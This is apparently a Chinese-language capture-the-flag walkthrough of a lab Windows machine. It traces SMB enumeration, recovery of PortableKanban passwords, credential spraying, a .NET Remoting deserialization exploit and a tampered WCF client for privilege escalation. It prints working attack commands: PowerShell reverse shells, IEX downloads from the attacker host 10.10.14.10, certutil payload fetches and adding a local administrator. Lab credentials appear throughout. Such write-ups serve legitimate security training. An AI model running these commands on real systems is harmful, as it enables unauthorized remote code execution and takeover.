基本信息

端口扫描

windows的一些常规端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -Pn -p- 10.10.10.219
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-13 08:36 CST
Nmap scan report for 10.10.10.219
Host is up (0.070s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
8888/tcp open sun-answerbook
8889/tcp open ddi-tcp-2

Nmap done: 1 IP address (1 host up) scanned in 2734.15 seconds

SMB enum

smb发现一个kanban可读:

kanban

kanban里面是一些文件:

可以下载下来分析:

1
smbget -R smb://10.10.10.219/kanban

kanban files

passwords

可以用ack来搜索strings,比原生strings高效:

1
2
3
4
sudo apt-get install ack

# -i忽略大小写
ack -i "password"

整理得到的信息,密码加密的,加密方式可能是exe里定义的(其实就是des,可以自己解,也可以直接用exe功能得到明文):

1
2
3
4
5
6
7
Administrator
ID: e8e29158d70d44b1a1ba4949d52790a0
Encrypted Password: "k+iUoOvQYG98PuhhRC7/rg=="

Lars
ID: 0628ae1de5234b81ae65c246dd2b4a21
Encrypted Password: "Ua3LyPFM175GN8D3+tqwLA=="

user guide

得到的还有user guide的pdf,这个需要看一下了解逻辑(26页英文的,我直接翻译wp了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
page 1: As the program is 'portable', it's at our mercy if we change config files
程序是portable的,可以随意修改配置文件

page 3: Blank passwords shouldn't be used - which says to me, it CAN be used but isn't advised
不应该使用空密码,只是建议并非强制

pages 11: There is the only one default user: “Administrator”with blank password.
默认用户Administrator密码为空

page 18: suggests that if you forget your password, just take the portable .exe to a different directory and try to execute it as Admin?
如果忘记密码,可以把exe复制到其他目录以管理员权限执行

pp 22: "Passwords are hidden by default in Setup/Users tab."
Setup/Users tab中默认隐藏用户密码

所以操作最好准备一台wndows虚拟机,Administrator权限

(没装windows,后面会用一些wp里的图,主要是理解流程)

PortableKanban

当运行exe,会有个弹框提示从pk3.bak文件恢复数据:

直接尝试Administrator空密码登录失败

修改配置

因为是从pk3.bak恢复数据,我们直接查看这个文件,就是json格式,如果我们把Administrator的EncryptedPassword修改为空,我们就能够以空密码登录Administrator:

Lars password

根据前面的文档,Setup/Users tab隐藏了用户的密码,去对应的tab取消hide,得到另一个用户Lars的明文密码:

1
Lars : G123HHrth234gRG

Administrator password

配置文件里也有用户角色定义,那可以直接复制一份新的,把Lars修改成Admin,登录进去得到Administrator明文密码:

1
Administrator : G2@$btRSHJYTarg

SMB enum again

creds

已有的两组账号密码可以组合去测试前面的smb,得到新的有效账号:

1
2
3
#users;passwords
administrator ; "G123HHrth234gRG"
lars ; "G2@$btRSHJYTarg"

得到新的有效账户是lars用的administrator密码组合:

1
sudo crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt

enum

使用心得账号密码访问smb,多出来一个dev:

1
smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219

dev

dev也同样下载下来分析:

1
smbget -R smb://10.10.10.219/dev/ -U lars%G123HHrth234gRG

dev exe

根据notes或者简单的分析,exe是.net的,那就直接反编译康康:

client.exe

RemotingSample里有debug账号密码,8888端口前面也能看到是开放的:

1
debug : SharpApplicationDebugUserPassword123!

ExploitRemotingService

根据相关信息,搜索发现相关漏洞利用,建议使用编译好的exe,自己编译坑太多了:

exploit

利用部分就必须自己用windows机器做了,主要就是Yososerial生成reverse shell的序列化数据,然后ExploitRemotingService打过去触发反序列化,得到lars用户的reverse shell:

在文件最后加一句调用,然后自己启动服务,监听端口

1
2
3
4
5
6
7
8
9
# add to ps1 file
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4445

python -m SimpleHTTPServer 7777
rlwrap nc -lvvp 4445

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.10:7777/InvokePowerShellTcp.ps1')"

ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw [payload]

有报错没什么影响,可以看到注入的powershell执行了,我们收到有http请求:

lars shell && user flag

反序列化打到lars用户的reverse shell,读取user.txt:

WCF

lars用户Documents里有个wcf目录:

文件传输

因为我们能够访问dev目录,可以把wcf压缩后移到dev然后下载:

1
2
Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev

wcf project

wcf应该也是个VS项目,可以用VS打开slh文件查看代码逻辑(没装VS,用wp的图了,后面还是要装VS。。。):

可以看到 Client main里还定义了一个8889端口,这个可能是特权用户运行的:

modify && build

后续利用还是要自己windows机器做,VS里添加恶意代码,build会生成新的WcfRemotingLibrary.dll和WcfClient.exe,然后传上去替换:

1
2
3
4
5
Console.WriteLine(client.InvokePowerShell(" iex (new-object net.webclient).downloadstring('http://10.10.14.10:7777/InvokePowerShellTcp.ps1')"));

# 也可以直接添加用户,然后evil-winrm连接(测试添加用户成功但连不上,不知道什么原因)
Console.WriteLine(client.InvokePowerShell(@"net user miao miao123456 /ADD"));
Console.WriteLine(client.InvokePowerShell(@"net localgroup Administrators miao"));

添加用户成功但连接提示认证问题,可能是密码复杂度问题,还是常规reverse shell吧:

文件传输

然后就是把生成的新文件传回去:

1
2
certutil -urlcache -split -f "http://10.10.14.10:7777/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll
certutil -urlcache -split -f "http://10.10.14.10:7777/WcfClient.exe" WcfClient.exe

exploit && root flag

然后直接运行传上去的WcfClient.exe,里面的恶意代码会以特权用户执行,得到system shell,读取root.txt(这个打到的shell很容易断,需要快速操作,或者直接在这个shell的基础上再加载一个shell比较稳定):

参考资料